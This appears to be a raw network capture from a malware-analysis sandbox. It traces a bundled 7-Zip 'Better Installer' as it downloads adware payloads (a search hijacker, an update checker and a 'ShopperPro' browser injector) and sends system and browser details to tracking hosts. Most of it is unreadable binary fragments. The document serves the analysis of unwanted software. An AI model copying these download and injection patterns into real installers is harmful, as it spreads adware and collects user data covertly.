&/`..1q......(./..A.WWs.....L...:^.`....:......z.7.m.c.Xj(...z.....z._
.Y.Z.<..m....-F..-r.......yV....;\~....P...`qR..ue..Pad"..8.f&1/.w%
.e...m.....M].c..C.}.%_.s.WQxQ..1.WO.Ea.76.~..r.&..9..%8.0.......xE..$
..a/..*z.;khi.k".<}.....v....0)..a.&..Z..n..a|P.gjT....C.....[..W.g
.4.k|a.Zw-....k...?.{.......ZM......_.>i.@.`<#...y.S.<.;..kf.
.u.....6....$..}2..6.....h.U#.......j..=.{.4..}....@)..K...%...z^cxR."
.b....j.....T....U?is.3..L.D-v..{P....P....\...*..........NI.n.y...M..
..@...?d`N..k^...}....o5U.(..:'..|.c..wQ....)..T..y..uz.8......H...A..
..'}5....W.....u...@ ...s)........x..d.X.zz.p.....(.......c1..g.......
S..Q....Ae..&P;7./...A...%)'....~.q.T.3..j2..1..S.C..Dq.`...c.yZOpP..1
...z...D.3.f.__.F:.H......I..@.~...t..c.p.W.U."...1].>9..d:...i.6..
.....G{.mh..'...d..|{....:<.TZ..2I...._yI.fpG....S.??,[email protected]=r
.....{z.Q...Q.~.......t......1.]..Sf(.QD...6.%...5\.&HW......h.n*.j.cn
k..]....fz....W@... ..w...}.8...h.`n...........9>o.0.....pa.....U..
\e..%J.....`....OF.{.P &.....v..bk..n.c.M&..(.....8e.YZMw..R.M]Qa....o
.p.$g.D._.C...5........F.Pu{..n6...[.....T.&..N^[email protected].`2.<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=694049-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:02:19 GMT

Content-Type: application/octet-stream

Content-Length: 416427

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 694049-1110475/1110476
...^...y..R.?...tN.ts...&..'^....]I...K.uQ......A#......t.3.....).2..8
'...Q .k.1.f....8P........U^.%.i..Jz...R]A.......X..>oqIi...v.\..!.
.pk.r....B.......)b..>..KR..3zO.f......D..M9.&...>O....W3.(..!.7
%*[email protected](o.-..$.31..V......p.6............. r..5.jf4.yrF.O....
w....}8..............L......'(..'..../ .-[9..#.........n`Z..A...<..
I.8)'.QnB.`M..^V.gVt0&.EI..8.?sM.|.p....K.......J.......q..c.'.7\(!7..
d.;4y....F......g.v.._.9....LC?..........f..>.........).-*....{%&..
B.8..0P.....!.D.,..l&...2.y.O.|R).......{4.!K..`k...2..c.3.....!.T....
....r..5`...............c./.66.JGvN../.).u.....d.q...5.V.%..q5>...r
.....\...\V:..%.B-.]....~.X.C..HQ.{[.....i".('...`.......@.,.m....zeG.
Fa(],.Kt .LdS..g.4.3v.tDu`.....gQ.np0........~...........J....\.....RZ
.3......\..?. .....h.......?.H].9.G.g......x..4j. ..Z..?....xa..I.....
..?...ai.4...2.g.f v......g.\..aeWIN...0.F .......u......e\.>...~..
.....<y.W2......^Io.y3...v.2.rO..X..A.*.z7.w......cOv...B.!>m..:
Jj...^G. .u..]..ykV.~...................6.....YL.._o ..<.:.w../.9Z.
U......A!..]GZA..9.8.jU..L..GW.=.....p...G....8..3..KC...oH..ZP....A2U
..<.b/*35K..D.....#........n.53H...c..&ei..=P.NUY..%^#y.h3.........
.....qfX..;F..JE.1d....v#..fh%...R..o!....K.A...........W.."s!....#...
.a.N$S....0..1_......)z.J\......Q.....J.*`.MPYt.....Qb.?re&v..c..X'...
.y..?........d....].]O........=(...&.X=n'.5..)....q.*.....9S..\.c.{..8
...k.....*T...g..>Y"9...m.........J.E"H.: iZ...$..g)..`.d..........
.....O[.OJk.G..{.9......y.....}...........#...b.G...-c..._F...._..<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=281428-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 40204

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:36:11 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 281428-321631/321632

Age: 941

X-Cache: Hit from cloudfront

Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: FzRM-BSV9FBzHw8fOfneiUtdNQBQKaFGH7b5fmPDWKS4jaJwRYzoOA==

.h2..\...........................g2..]...........................f2..[
...............................I3') * )))*))()*   ,6J!54 CBA...jYPQTVT
SkllZTTXRTUiHceWda/..i...u....`..................._<bm....t^..}zy|y
x~....{|yvrrwsqpon....................................................
......................................................................
......................................................................
...................................................................(..
..... ...................................|WR......Q3..O1...b.sP?..Q2..
Q2..Y9..^G......`[email protected]................
..b...c...c...d...c...d...d...s ..x(...>..zZ..........g........x...
$...&...*... ... ...,...-...-.../...0...4...6...I.....................
......................................................................
..~~~.}}}.............................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................

<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=120612-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 201020

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:36:11 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 120612-321631/321632

Age: 941

X-Cache: Hit from cloudfront

Via: 1.1 1f3fb60768611bd03244cf06312d5a9c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: T6gJMcuzD6-f2Arl-OWLVuICJRmJ7l5Mpy1CfLIfNyemzqIjYad6_Q==

....p...Q. .t.3.......t....3..........P.;Q.tv..Q...p. .t.3.......t....
........p...Q. .t.3.......t......r.....p...Q. .t.3.......t......S.....
p...Q. .t.3.......t....3.....0....P.;Q.tu.....Q. .t.3.......t.........
...p...Q. .t.3.......t............p...Q. .t.3.......t............p...Q
. .t.3.......t....3...........I...@. ...8...3.......D...(....P.;Q.tu..
...Q. .t.3.......t......c.....p...Q. .t.3.......t......D.....p...Q. .t
.3.......t......%.....p...Q. .t.3.......t....3..........P.;Q.tu.....Q.
 .t.3.......t............p...Q. .t.3.......t............p...Q. .t.3...
....t............p...Q. .t.3.......t....3.....{....P.;Q.tu.....Q. .t.3
.......t......U.....p...Q. .t.3.......t......6.....p...Q. .t.3.......t
............p...Q. .t.3.......t....3..........P.;Q.tu.....Q. .t.3.....
..t............p...Q. .t.3.......t............p...Q. .t.3.......t.....
.......p...Q. .t.3.......t....3.....m....P.;Q.tu.....Q. .t.3.......t..
....G.....p...Q. .t.3.......t......(.....p...Q. .t.3.......t..........
..p...Q. .t.3.......t....3..........P.;Q.tv..Q...p. .t.3.......t......
......Q...p. .t.3.......t............Q...p. .t.3.......t............Q.
..p. .t.3.......t....3.....^....P.;Q.tu.....Q. .t.3.......t......8....
.p...Q. .t.3.......t............p...Q. .t.3.......t............p...Q. 
.t.3.......t....3.........f.P.f;Q...f.....Q...p. .......3.......T.....
...........P.;Q.tv..Q...p. .t.3.......t......z.....p...Q. .t.3.......t
......[.....p...Q. .t.3.......t......<.....p...Q. .t.3.......t....3
..........P.;Q.tu.....Q. .t.3.......t............p...Q. .t.3......

<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=80408-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 241224

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:36:11 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 80408-321631/321632

Age: 1013

X-Cache: Hit from cloudfront

Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: hgQCJ8BL8h2jZAVJV7lSZ6i8228N3enIab-eOQVh4KsTwGei9if2BQ==
|C...t.....G..v.P..B..W.2C.......u..K.Q."C...s......t..V.R..B..V..C...
...s ..t..F.P..B..V..B......s(..t....O..v.Q..B..W..B.......u._...{C.^.
............U..S...U....E..t.S..B.......[]..................U..j.hx.C.
d.....P...VW.t.C.3.P.E.d......;.ua.}...........E......|....E......}...
..t;j..M..O4...G...t....s.H.G..w......M....V4..#.t.....j........M.d...
...Y_^..].U..j.hx.C.d.....P...VW.t.C.3.P.E.d......{..ub.}....Y......E.
.....K....E......}..C...t<j..M...3...G...t....s.H.G..w......M.....3
..#.t.....j......C..M.d......Y_^..][email protected]....
.......]...U...E..U....Q.M.P.E.QRP.T8.....]................U..j.h9.C.d
.....P...SVW.t.C.3.P.E.d......M..E......u..F......F.........E. E..E...
...E............N.;.wf...;......... ....s.....tW.V....r..>.......r.
...... . .Q......WR..<...F. .....~...F.r...................j. ..(..
..F....r........N....r........}....W.}.W.}.W..RP..7.....;F.v.....D....
N.;.w.j.P.........h.UC...1....j. .........M.d......Y_^[..].........U..
.M..U.3.;.t.V..1...A..;.u.^].................U..QV.p.j..M..7.i1...F...
[email protected]..}1....^..]..U..Q.E.SVW..tL...H.3..M...~4.8...u.3...t..H....
...F:.u.BA;.r..E..M..U.;.t...;.|[email protected]._^[..]._^..[..]....U..j.
h..C.d.....P..h.t.C.3..E.SVWP.E.d......E........3..]..M..U..u..E...u..
U..E..E......E...E.P.U.R.E.P.E..........u..E.............E..9}.r..M.Q.
!>..............{...E............C....E.RP.M.......E..U...;.s..M..M
.;...s..E.Q.M.P.U.R........E.;.tg9}.r..M.Q..=...........}..E......E...
[email protected]..~..F.............<<< skipped >>>

GET /awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:00:57 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............z...6.?.s..D.... ).q..... .-...'...4...$&a.I...r..\
.y..5u.......{GDOk.U.V..x.3n..&I.?....?.{.O....J...<....t..........
>....d^.w..<......c.[~.~|~5.5J.7.xy...V-....`.LO...9.n...N.Z.N..
N....Yr./&..7..'..d4..7..l~..'..;~x1M...`......|<..I.t...w.v1J.w.L.
.t>......1..n.......#........M....O/.~3.w...49......-P*..(....;..vK
.......8=....h......I.^..4.*G....).i...9..Z..x.........k.|:.l.......L.
....m.._c..G..7.....A..'..`1K.c{<.&...:.p..:.0*w......l.1..lC._....
.......N[..t.L.....N:...........i7.$..W.n>..qk.`5gs.ov...}L........
w*..t.L.)pzp...1..."..;.....M<...f...=Xt.....<..3K..Ng..)&...l..
x......[.......<=.N.E..3....q..=^... N...M%#.t.1w_.o1.V....9....d:.
................_z.GXX......1.G....[...............s1.vf..t.i.......=v
....K.....i._..L.....AQ...~..........'........t......y?...^...G.t8...K
...x.M. g..9.!z.}C..".`.X..4I..".|..............).....:...7.....X...v.
......Z.....4..>i..._......l#....>.a:..J^.|1.8 (.j....s..zy?~.~.
......:y...M...Q..?}..S...7.-..........#..=x...?........^.....-.nmv...
.:w.p.>...t.{.h.....A.~].....Q..2....o......u....[?@.....`.........
...zp.....v=,.............;..A.|.W...... ...wC...].....nx.p...........
..........}T8....Q.|.......E._<.-.k..B.p..gIG....x6Kf..^..P..<.{
...<..g.,.....z.>".o.1.o...=.-....Z....H.8wL[ze.b..........c<
-.s.i'..s...]......R.S.Q....%*..Mp.%.R.t.;H.{{.%g_._..t~U..VB.)y..^.&.
.t....k:../*l..o"}<...b.w. ..w1.......m..r_..J....y..x*..o..68.W.k.
U ....`.....O....OK...}...........7...vvR?r..[..tn^/50..u...Xw.$y.<<< skipped >>>

POST /installer/ajax HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: hXXp://bi.bisrv.com/awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Content-Length: 2257

Connection: Keep-Alive

Cache-Control: no-cache

country=UA&uid_orig=a023ae3ee3ddb84f912034f3917e580f&uid=a023ae3ee3ddb84f912034f3917e580f&affid=awde7zip23678&sid=7zip&cli_id=&softwareName=7-Zip&installerVersion=2.0&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTIw&muid=ad2252ce007468623bd139b0adec3423&cu=false&cd=false&tokyo_csrf_key=0a3c3b54875e33dfe924b787f8ab671b&tokyo_csrf_timestamp=1424736057&unique_id=false&clientIp=193.138.244.231&ffInstalled=false&dfz=false&avdr=lDKrp/3VMDh61tuJfJlrKXs1VI6ezbhGnJBKbIRjXeIYfcyodTGERY6ZOIkepjCAJ6l5ti1eroI6fZ94jJ7hVTGSxjM0U9E77FGnMsZ1LcvOzHafQu4ZCzL8juT87OhWgAKpiO4REHih3bZNHkqNAXYr+bBhCxp8N7RWwsCfCq8lX
HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:00:59 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
f7b.............[ms.6.. 8......d.......4s.5.....:...$.).%H J&....@..(Y
v.6.$..)........w^$.\..g .....Lx,..d.d.s...j}.".\...2.y.{...'odN.%j..2
.Y..P.,....LM.WZM.%.D........L..*.....'9.....{.q..........H1/h.E..D,..
.L..Hr..../.?..C^.....=.ot_.:..Qu......cm.....j..r...g.....KD.T.%..2..
.X..I,.=.*[..\&. ....Y...y..D.1-g.Yj.2/'f.T.U..z..;..,oH'F.(....-.l...
PD.~....D,e>WE.&E.."..M...../ej...........l...rJ......0.>.|....B
.E.{.../e.....#.."r....%.=....4.|..;U(.>}...kI.../.r*..mh..........
.*.5A..*......".Z...S?6...8.{..<...j.=a....*.on.......r.c..8V...h..
.)..U.x..X.ZB.Dl.b.D....Ys`...Z.0.H.N...^.8T..\....jX&P....k<7..c..
%F*.W.B.Vc.4....SJ.].G..4..v'.(e.....f_.E.mn.......Bsj.....sz6.$Y....Y
qz..K.. W3.X:i..6M[...'. ..B...=c..P.>.u.hXSn~..b.k0Cd.J7..Gk...{..
....w..&/&..5..........:.|.P..`._..;....".Q7...t|0>..*.....<..=.
h.M3(..l..`.g..U....<...0....'..,.h..|K.....(BE..lFl..\..........u.
H....F.*.!t...c...."..mD...;..X..([......HC.Ve..... Il.0.c.Q....T.<
..".4}3a. .....5.Z......9.21...y=j..\...A..,4.....~..O...w....^..|B.O.
..U..._.. .H"....-.&J..%D.J"`R...{.v..H./.B..q....6<....]@.p.*">
|.....n..x...y...o........3EBM.zm..}>...p._v.......kw.jy.gd.>...
.Q...(..J.NXe..".}.....I.T........C..[u...$..J.p.2.].Z.P.NE5K...|uA./l
.M.4.....q4.. ...d.....>%....".......OZ*.........Z".S..../....p....
..X.J.u.N..ke.<...ur..[.5.....@#.D[..Qi...9...0...`..... [email protected])
.....dV..A.D,Y.'[email protected]..$I...{A
.........N...........E...9].nbQ../.......Np.X.yj..?..S4`i(....`R..<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.03366593064035461 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.2079935846.1424736079.1424736079.1424736079.1; __utmb=1.1.10.1424736079; __utmc=1; __utmz=1.1424736079.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:01:08 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 00:01:08 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K9F8PB1R1S2ACRfzZy NK/GdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUPnN75nI7N3JQ8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63ybiCNsp2cHm&product=EXTFirefox&rnd=1424736267&it=0&action=Init&text=Ext version: 1.0.0.4. Firefox version: 29.0.1. DB name: database1_0_0.json. DB version: 1.0.0.9 HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:04:07 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 20
15 00:04:07 GMT..Content-Length: 0..

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=138810-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:01:05 GMT

Content-Type: application/octet-stream

Content-Length: 971666

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 138810-1110475/1110476
.:..q...v.......c.....)F../ ..I7.....<U^.J....;..... .C..TYa..24...
T......r<wz.<{.b.].6Vb......:.b.=&.E/.M}. .73]....d#...x... ..G|
.R..Z9 T.......~qX.?...(*yI)q.2.|Uj.0.2.....Vo...2...@.*Tg..CJ......7r
.i'.....k..|96W.......^YI....*...,S!.u!O&.......H.y.o....$A..4.(F.w.#.
a....n..L..2..ba..j.a.H.?..\[email protected].,.f..
.......M..Q...i.3LX...7.RJD....4...&....*5JE.6f.q"v.........q[.....x.s
9..8q..0...q.......B/......9......L2B}.~g..%..L. .....4....HQ.C.q!...q
<|].^c.*4....Zb1x.^...D$.(.u."......_0...5....x..6i. ........V1....
..I.*E.*...-..x.._.....1.6.D.56.:..W....F.......P.w..h...kE.........v.
.......`....%.......<.`....yu.2.....<...j2..'b.....>ie..t..k.
I.o.....Gy....V.y.z."..a......K...O..PH...#..6..4..|Im....t......LH.?.
d...h....>..}...............B.|X...>..L..*^..~.`9..*.Jk0..".....
!;...A....s.1.....g..m(N..:ed'...p.acr...\.sc.%..>.......c...;.#.kV
..........E.{...g...i...ol....(V!..{)F.....krQ&.[..<.b...C~S......%
0..Z.Xg.......KT9.,......U....a......n{$.QZ8]h... .......\.N.Q]...f...
6....an4-..,........V..u........%.6.B..q.^..j..r!.....=f....K3..=.:..[
..-..9.....*.'(Y#....S...5N....z..........[.,e..._...Q.R =..u...0l..t&
lt;...N.7.-..dG.....VFm.s) .......#.F..#.Thn#@...g.z.RO.....,.s.....$.
.L..-Y.w......^.Fi....<&.:.."8p..3..U........ ..?7 r.x}.6.......rY.
vwO~Jl....H..K*.T ......x!...9.d..6.ps..Q.H....</J.>..'}pRxV...0
%...KJ...a >YJ.....N.._..s...%.....C?....V.....Cp.IkZ.<_O*.):...
n.U-..O3.[....id...Y..ps,.#.).gso..^.U.,.c...{..T....r..... .x..H.<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K9F8PB1R1S2ACRfzZy NK/GdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUPnN75nI7N3JQ8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63ybiCNsp2cHm&product=EXTFirefox&rnd=1424736267&it=1&action=Inject&text=GeneralInjector HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:04:08 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 20
15 00:04:08 GMT..Content-Length: 0..

GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 200072

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:42:08 GMT

x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH

x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537

Cache-Control: max-age=3600

Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT

ETag: "ef7d1863f4980ab0c8bda142fee67f92"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-200071/200072

Age: 283

X-Cache: Hit from cloudfront

Via: 1.1 8ba00e7b6e8959a64c4f6f61fd5596de.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ryPI4gxVFReejJ4u6JnaX2MvXGVB-m-e7QRI28V6Iq1T3wh1Tx7RGg==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
...........................{........................................s.
[email protected]............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 00:02:03 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 250000-499999/4681922
8...HE.=h..V.....Sg.._...avQt.........:.U?..e.\'Q...'..8.. ..t.|&.M...
......?}..F.\cm.2...8A..nO...b....M!-......<a.....9$..`...7&A.....P
.FJ..VB....P......I..V^.`......-..B7l..%.....$.b&.F....G-<...5....Y
 .~.=A...I.%....s,E..M...b..1!..L..)..g...*..=.*|..L)..-E..;...A.V....
.t......K...b.......gC.....s.....]jf..........[.=.b.w.b....-.{aA..*...
Z.E1i.!..............1.f.]...R.d !^;<.L`.n.[T0.whE..=K. ....1=b.P?.
..\3.bL...5..t..:....c|.}..Y..L....\.M.I...zq.9(.4.\.........%U......7
..h..}4..o~..).W.,.\_.BR..M..Z.N.g..j........-...V.........&......8...
.{[email protected]..$.t.......p....o.q..\......w ..h.#N..o..ov0'.cD...
.{....tG....[......kG.)xv..l.9...|..?.(.G...C..'....Q.......v.0f......
.............{R.l......N.. ............9Mp.y..Xo.*....&!eq>..o...Pm
F<......D....*..u.....A.gs=....o.V`......5g..3.#.%.N...../........0
Mx.dg...I.*hi.d(.7G...\.FS.!_..]...:J.w...%_..e.=2i.:..-.Ir..*..eYwy{.
....l......d!...wc]?.VK.O.7Y.w...v[4.j.[.O2.=....|=......^..X..L......
..`.4j,.>c.....?....9....z..8..0..........t ......EC/....Q..@....|t
/.Y.M0I.MZv5....R.v'..yP.......v7...:...n...|W...._......,..yNvE.....F
..T:...b..&....Lk..Y....c..T...a.V.f.....S..o-.Q..8.}...B.%.N.)...`..R
...[....j.W?..K.b%[email protected].).........XV A..;.D.e.0..
.fTRar..^..........s.ngQ....-......wO.......8?S.fs...9..&%.LW.I..\_...
s.2...-.KJ92..r.$.t=7?..........H...:sLU.9.r]..E.@..].N-..2a.K........
..w..l....O.......C..\..W...{B..L...........x.E...... ..<.../..Fy..
.|. c.(........j..n...{0.....N.h.|.B.Z.,...!.db.K.C.(pc..$.J4A...M<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



...S....k..\;..}.o.............{... .f$R...j...... 2.A6...h.>..<
~Q.q.]..F!^..6.U.......n..4.0H<....KuK..l._..Q...A.~..)))..6.W.%...
M...C.....W`..v.T.......P2..........Cx=HAjL..._..F........c>[email protected]
p..>6B....M........v..DOj{/.b..T..d...l.,..b....Kk.....z.........[.
..."T..X.......Cd!..Zf{ .q-.Do9].D....mO...>...y..N.t..H.Vk..W...X.
E.7.I....T.Q.Mj.S9Ad.-S.T(X.X.S..J6uv6....G.n.B.F..........B6.i.&gxt..
.;.a8.,...2...%.`.)m......x.....s....F#.zk........q.'9....R(...x...sW@
j.....;r..>.....bg...{.4.R<..\.2..`=.{.>.:O....V..)..4.SO_...
d.Y).,.2k..;.RB......[[email protected] _f.)..F$....\W.Xc.R.dS. .Z8....
.R..s.OO^?*.u....A.Z.;.......X`....|.g...;..-..F.R..[2.^.P..;i.Vz.....
.I.....z.?gG.NU....o..\Ma.3..K]...f.p..............j..W.).r...........
